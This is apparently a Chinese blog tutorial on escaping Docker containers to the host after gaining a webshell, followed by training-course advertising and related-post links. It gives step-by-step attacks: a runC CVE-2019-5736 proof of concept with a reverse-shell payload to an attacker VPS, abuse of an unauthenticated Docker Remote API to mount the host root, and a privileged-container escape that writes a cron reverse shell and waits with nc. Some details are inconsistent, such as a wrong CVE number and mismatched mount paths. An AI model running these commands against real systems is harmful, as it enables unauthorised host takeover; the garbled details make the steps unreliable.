docker逃逸方法汇总与简要分析

概括:

渗透测试拿到webshell后,发现主机是docker环境,要想一步渗透,就必须逃逸到"宿主机"。甚至还有物理机运行虚拟机,虚拟机运行Docker容器的情况。那就还要虚拟机逃逸了。

如何判断当前机器是否为Docker 容器环境

1、Metasploit 中的 checkcontainer 模块、(判断是否为虚拟机,checkvm 模块)

该模块其实进行了如下操作

2、检查根目录下是否存在.dockerenv文件

3、检查 /proc/1/cgroup 是否存在含有docker字符串!

4、容器ip多是172.17IP段的,而且很多命令诸如vim都是无法没有安装的

docker 逃逸的方法

1、由内核引起的的dirty cow实现逃逸----CVE-2019-5195

2、软件程序引起的docker逃逸漏洞----CVE-2019-5736

3、docker配置不当引起的----特权模式逃逸

一、内核漏洞 Dirty Cow(CVE-2016-5195)

漏洞原理

此漏洞是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

docker寄存于宿主机当中,与宿主机共享内核,故docker容器存在于diry cow漏洞的宿主机当中

影响的范围:Linux内核>= 2.6.22

利用 uname -a查看系统内核的全部信息

举例:

测试工具:

官方EXP:https://github.com/dirtycow/dirtycow.github.io

提权为root权限的EXP一:https://github.com/FireFart/dirtycow

提权为root权限的EXP二:https://github.com/gbonacini/CVE-2016-5195

二、runC 容器逃逸漏洞CVE-2019-5736

漏洞点在于runC

概念

runC

runC是docker中最为核心的部分,容器的创建、运行、销毁等操作都是通过runC程序来完成的,它为用户提供了一种统一的方式来管理容器的生命周期,使得容器应用程序可以在不同的操作系统上以可移植的方式运行。

受影响的版本

Docker Version < 18.09.2

runC Version <= 1.0-rc6

通过 docker 和docker-runc 查看当前版本情况。

利用步骤

第一步:目标环境需要是docker环境

前提:首先目标机器,需要在docker环境当中(这里可以随便启动一个vulhub的漏洞靶场作为掩饰)

第二步:运用POC脚本

复制代码
https://github.com/Frichetten/CVE-2019-5736-PoC

修改Payload,修改反弹shell的VPS机器

复制代码
var payload = "sh -i >& /dev/tcp/192.168.111.14/9999 0>&1" 

第三步:编译GO脚本

安装完毕GO环境之后编译,生成可执行的脚本main

复制代码
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

第四步:将编译好的main文件上传到docker中

(模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

可以用python启动环境,在docker中进行下载,或者放到github当中使用git clone下载,亦或者docker ps尝试

第五步:执行并等待此docker再次被exec,查看看脚本是否拷进容器并启动main脚本

复制代码
docker exec -it xxxx /bin/bash

第六步:攻击机开启监听

例如:nc -lvvp 9999

受害机在此启动一个新终端,执行如下命令再次进入容器,便会立刻触发payload反弹shell到VPS的监听端口,此时权限为系统权限,那么docker逃逸成功

复制代码
docker exec -it xxxx /bin/sh 

总结:此方法需要有人使用exec执行,进入docker环境才可以逃逸

三、配置不当的docker逃逸

详见:云安全攻防(八)之 Docker Remote API 未授权访问逃逸_docker remote api 未授权访问漏洞-CSDN博客

1.docket remote api未授权访问导致逃逸

简介

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API,它允许用户通过RESTful API与Docker引擎进行交互,这意味着开发人员可以使用HTTP请求来远程管理和控制Docker引擎,包括创建、启动、停止和删除容器,构建和管理镜像,以及执行其他与Docker相关的操作。

Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。

搭建环境

环境搭建

首先我们执行如下的代码将 docker 守护进程监听在 0.0.0.0

复制代码
dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock
  • -H=0.0.0.0:2375:指定 Docker daemon 监听的 TCP 端点地址和端口号。0.0.0.0 表示绑定到任何可用网络接口上,即允许从其他主机上的容器或者计算机上运行的 Docker 客户端连接。2375 是 Dockerdaemon 监听的端口号
  • -H unix:///var/run/docker.sock:指定 Docker daemon 监听的 Unix 域套接字路径,即 /var/run/docker.sock

运行这个命令,Docker daemon 将同时监听 TCP 端点和 Unix 域套接字,并且没有安全保护

执行后出现上面错误是由于当前环境docker已经在运行中了,需要先停止docker

复制代码
systemctl stop docker

再次执行

复制代码
dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock

漏洞探测

利用curl 192.168.111.14/info,返回内容含有DockerRootDir等字符,则证明存在docker未授权访问漏洞

复制代码
curl 192.168.111.14:2375/info | grep DockerRootDir

或者执行以下命令,然后查看info文件,道理相同

复制代码
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$192.168.111.14:2375/info

漏洞复现

启动新容器,以sh或者/bin/bashl启动,将该宿主机服务器的根目录挂在到容器的/mnt目录下,这时修改/mnt/etc/crontab相当于修改/etc/crontab文件

复制代码
docker -H tcp://192.168.111.14:2375 run -it -v /:/mnt nginx:latest /bin/bash 或者sh

返回该容器宿主机的shell

到mnt目录下,可逃逸到宿主机

2.特权逃逸

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run privileged 时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行 挂载。

1、以特权模式运行一个docker容器

docker run -it --privileged xxxxxx /bin/bash

2、查看磁盘文件

3、创建一个文件夹,并将sda1挂载到该创建的文件夹中

复制代码
mkdir /zhang  #zhang文件夹相当于对方主机的根目录,可以进行写文件操作。
mount /dev/vda1 /zhang

4、写入计划任务到宿主机

复制代码
echo '* * * * * bash -i >& /dev/tcp/vps的ip/9999 0>&1' >> /nuoyan/var/spool/cron/root

5、在vps上等待shell反连接

复制代码
nc -lvvp 9999

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图 。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

因篇幅有限,仅展示部分资料

2️⃣视频配套资料&国内外网安书籍、文档

① 文档和书籍资料

② 黑客技术

因篇幅有限,仅展示部分资料

4️⃣网络安全面试题

5️⃣汇总

所有资料 ⚡️ ,朋友们如果有需要全套 《网络安全入门+进阶学习资源包 》,扫码获取~

相关推荐
2302_809798323 分钟前
【JavaWeb】Docker项目部署
java·运维·后端·青少年编程·docker·容器
嵌入式大圣5 分钟前
Neko虚拟浏览器远程协作方案:Docker+内网穿透技术部署实践
运维·docker·容器
孔令飞20 分钟前
Kubernetes 节点自动伸缩(Cluster Autoscaler)原理与实践
ai·云原生·容器·golang·kubernetes
网安INF27 分钟前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
dmy35 分钟前
n8n内网快速部署
运维·人工智能·程序员
lubiii_41 分钟前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学
程序员JerrySUN42 分钟前
全面理解 Linux 内核性能问题:分类、实战与调优策略
java·linux·运维·服务器·单片机
米粉03051 小时前
深入剖析Nginx:从入门到高并发架构实战
java·运维·nginx·架构
huangyuchi.1 小时前
【Linux】LInux下第一个程序:进度条
linux·运维·服务器·笔记·进度条·c/c++
moongoblin2 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作